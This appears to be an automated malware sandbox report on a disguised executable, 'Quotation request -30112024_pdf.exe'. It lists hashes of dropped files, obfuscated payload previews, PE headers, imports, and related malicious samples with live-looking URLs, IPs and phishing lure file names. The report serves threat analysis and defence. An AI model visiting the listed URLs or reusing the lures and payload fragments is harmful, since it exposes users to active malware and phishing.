	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	52.216.214.9
	https://shorturl.at/cQwea	Get hash	malicious	Unknown	Browse	13.35.58.119
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	3.170.115.43
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	harm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	http://inscrit.es/	Get hash	malicious	Unknown	Browse	52.24.205.146
	http://inscrit.es/	Get hash	malicious	Unknown	Browse	54.244.144.214
	http://www.employee-ratings.com/107519/fab30a/abf4a385-1883-4e57-8ade-771c19e19962	Get hash	malicious	Unknown	Browse	35.76.5.47
CONTABODE	4c9ebxnhQk.exe	Get hash	malicious	Unknown	Browse	80.241.214.102
	BankInformation.vbe	Get hash	malicious	AgentTesla	Browse	144.91.79.54
	BlgAsBdkiD.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	DHL SHIPPING CONFIRMATION-SAMPLES DELIVERY ADDRESS.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	PO-DC13112024_pdf.vbs	Get hash	malicious	Unknown	Browse	161.97.142.144
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	207.180.225.113
	Ref#2073306.vbe	Get hash	malicious	MicroClip	Browse	144.91.79.54
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	75A0VTo3z9.exe	Get hash	malicious	Emotet	Browse	5.189.178.202
	SWIFTCOPY202973783.vbe	Get hash	malicious	AgentTesla	Browse	144.91.79.54

Process:	C:\Windows\SysWOW64\RMActivate_isv.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut77F7.tmp

Process:	C:\Users\user\Desktop\Quotation request -30112024_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	286720
Entropy (8bit):	7.995046245800451
Encrypted:	true
SSDEEP:	6144:uNXGV4dF2FIBEVrex68/do6m0YvasscvQ64QJsw5i:uNVAk68/dSsssc9rM
MD5:	5F7DFFB148379894337CF6F62DE296B3
SHA1:	D653510B08B089DDF1AEF492B414436A587D2B82
SHA-256:	591D3A0D4A3A93EDEA64D1270BAFBB6887096E0539B0009DD01EC770064017DE
SHA-512:	729951CC46CC15A3CF13A04553C9309959187DA6DAE28BCB6A209C1B90710000DCB69D1B104ABE63DDF152D2AE054CF9294655522945001577E09B9F6EB2552B
Malicious:	false
Reputation:	low
Preview:	...M[WRUWQDS..NW.DE0XHNGsEJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBS.MXW\J._D.[.o.T.... '4.58))029m;6<;<%d17r<";d,^x....(%"+l^YG\|WRUSQDS+SG.h$".e()..%-.T...w80.O...o25.M...8/..Z&"{.%.TMXWRUSQ..RR.VTD.a..NG3EJFNB.TOY\S^SQ.WRRNWUDE0X.ZG3EZFNB3PMXW.USADSRPNWSDE0XHNG5EJFNBSTM8SRUQQDSRRNUU..0XXNG#EJFNRST]XWRUSQTSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3Ed2+:'TMX..QSQTSRR.SUDU0XHNG3EJFNBSTMxWR5SQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRR

C:\Users\user\AppData\Local\Temp\aut7837.tmp

Process:	C:\Users\user\Desktop\Quotation request -30112024_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	14442
Entropy (8bit):	7.636644896371412
Encrypted:	false
SSDEEP:	384:nTYzRyE1ZC/UQ9FIntJ3ObN8+zg4z0/FZy/PjMDHL:nAL1RQ9Fc36NhgEy+XjMDHL
MD5:	DBBBDC9512FD01DC5B53896A961711E5
SHA1:	461B4D4F09C2DFD545C5DE4C3EE8BAA813BD2B40
SHA-256:	4ACD93AF7ED747B6ED606C340A06D13EE439CABC17A8849C4DAF9B2146FCC836
SHA-512:	A5CF5011975D070C126BA582CB5E910FBF0A4EDDF29BCA8334250C7D73062AC4F37585137D9D5E2AE5A31E48BF195457812D4C40680519B17D1AA3DEDBA07546
Malicious:	false
Preview:	EA06..0..[-w9..+x..f....... .V......71...@.x..L........`......8............`.......Z\|3@...@.........K.X@0.2.Z..Z>)..w.e....l !..m..;...\| !.....;....;.....l.;.0./.<.;...m..rd.....@->.....4....f.C.5..;.............r.....X.<>`.O..p.........!.........h.=..........<\|3.....c...h.. -...... ...X.Z?......(...(.G..4.h....x....M@N.......Z?.I.......N@R... ...5.(..,.._...k`........R...._.K..?d...B.... 7W.......n.../.~.....)...@...!K....h\|!._....ga._.5.1.....`v/.......NA...,...7.7.,..!6.b...Z?.K(-...0.h..&.._....' -.............-..........G.6.....d_.T......"....d_.(M..57....n.....`...L....K.L..6.s.A.?..L.......Bg>...w.36.... !...L...}....\|V.4..r......$............r..9....>.....2... ...b....`......k.(.....!`....,......V1`..f....X.>i.v'.3c.........G.4....E.?......9..X.......7...l.`..."...\.61*........f.....\|.`.O.......,`........nl,....C.`....p...Y......`....@n?..;g....0...d...l ...P.?'....}...........0...4.X...>y.....1......x...L.\.i.....)...@n?............b...@.>y...

C:\Users\user\AppData\Local\Temp\leucoryx

Process:	C:\Users\user\Desktop\Quotation request -30112024_pdf.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	modified
Size (bytes):	143378
Entropy (8bit):	2.993068678381446
Encrypted:	false
SSDEEP:	1536:lC6Hbc8Z/kCXWqb64Micg9+VotMclKrng51U:10ejtm
MD5:	B697D9071D910E9FD4A7AD4305BFA855
SHA1:	01D4484834A7DE44A3BE3470722AB2154E733572
SHA-256:	027DCEDD9B993A616FECC8241F765B8B10A4AEAC601B704760E3AF7E4100EA3C
SHA-512:	E40DC04D28EB9C0769FAF21F21B64AAB2BC9D340D081438D521FFC1A27D9BA4CF03DF60006477535371DBFD9249B12437F461F31310669781394AF0B71B839B3
Malicious:	false
Preview:	dlks0dlksxdlks5dlks5dlks8dlksbdlksedlkscdlks8dlks1dlksedlkscdlkscdlkscdlks0dlks2dlks0dlks0dlks0dlks0dlks5dlks6dlks5dlks7dlksbdlks8dlks6dlksbdlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlks5dlks8dlks4dlksbdlks9dlks6dlks5dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlksddlks8dlks6dlksbdlksadlks7dlks2dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks5dlks5dlks8dlks8dlksbdlks8dlks6dlksedlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlks5dlks8dlksadlksbdlks9dlks6dlks5dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlksddlks8dlkscdlksbdlksadlks6dlkscdlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks5dlks5dlks8dlksedlksbdlks8dlks3dlks3dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlks5dlks9dlks0dlksbdlks9dlks3dlks2dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks4dlksddlks9dlks2dlksbdlksadlks2dlksedlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9dlks5dlks5dlks9dlks4dlksbdlks8dlks6dlks4dlks0dlks0dlks0dlks0dlks0dlks0dlks6dlks6dlks8dlks9

C:\Users\user\AppData\Local\Temp\selectee

Process:	C:\Users\user\Desktop\Quotation request -30112024_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	286720
Entropy (8bit):	7.995046245800451
Encrypted:	true
SSDEEP:	6144:uNXGV4dF2FIBEVrex68/do6m0YvasscvQ64QJsw5i:uNVAk68/dSsssc9rM
MD5:	5F7DFFB148379894337CF6F62DE296B3
SHA1:	D653510B08B089DDF1AEF492B414436A587D2B82
SHA-256:	591D3A0D4A3A93EDEA64D1270BAFBB6887096E0539B0009DD01EC770064017DE
SHA-512:	729951CC46CC15A3CF13A04553C9309959187DA6DAE28BCB6A209C1B90710000DCB69D1B104ABE63DDF152D2AE054CF9294655522945001577E09B9F6EB2552B
Malicious:	false
Preview:	...M[WRUWQDS..NW.DE0XHNGsEJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBS.MXW\J._D.[.o.T.... '4.58))029m;6<;<%d17r<";d,^x....(%"+l^YG\|WRUSQDS+SG.h$".e()..%-.T...w80.O...o25.M...8/..Z&"{.%.TMXWRUSQ..RR.VTD.a..NG3EJFNB.TOY\S^SQ.WRRNWUDE0X.ZG3EZFNB3PMXW.USADSRPNWSDE0XHNG5EJFNBSTM8SRUQQDSRRNUU..0XXNG#EJFNRST]XWRUSQTSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3Ed2+:'TMX..QSQTSRR.SUDU0XHNG3EJFNBSTMxWR5SQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRRNWUDE0XHNG3EJFNBSTMXWRUSQDSRR

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.217859133980473
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Quotation request -30112024_pdf.exe
File size:	970'257 bytes
MD5:	8a44b6f23ceba13203e4dc3fb33aea3c
SHA1:	1fd1641755f1df2d11f42e5176ebcf2c7684661a
SHA256:	2166b87c378747df98dcbbb089b0d3a21cf5631e999e68447e804c4b48d25efb
SHA512:	979d33893e066231d3f4cee669560a273b6ae2a8ffb5ea6988b2176909284e42e15e42c6816219710d603c1a466b531d4d171e7f3065cd67a1a8359fb111783e
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCKUJFf4C6iewesl:7JZoQrbTFZY1iaCKUTRpnl
TLSH:	C625D022F5D68036C2B323B19E7EF76A963D79360336D19727C82E315EA05416B29733
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007F5780D8CFCBh
jmp 00007F5780D83E3Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F5780D83FBAh
cmp edi, eax
jc 00007F5780D84156h
cmp ecx, 00000080h
jc 00007F5780D83FCEh
cmp dword ptr [004A9724h], 00000000h
je 00007F5780D83FC5h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F5780D83FB7h
jmp 00007F5780D84392h
test edi, 00000003h
jne 00007F5780D83FC6h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F5780D83FDBh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F5780D83FBEh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F57831FC7B7h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F5780D83F7Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
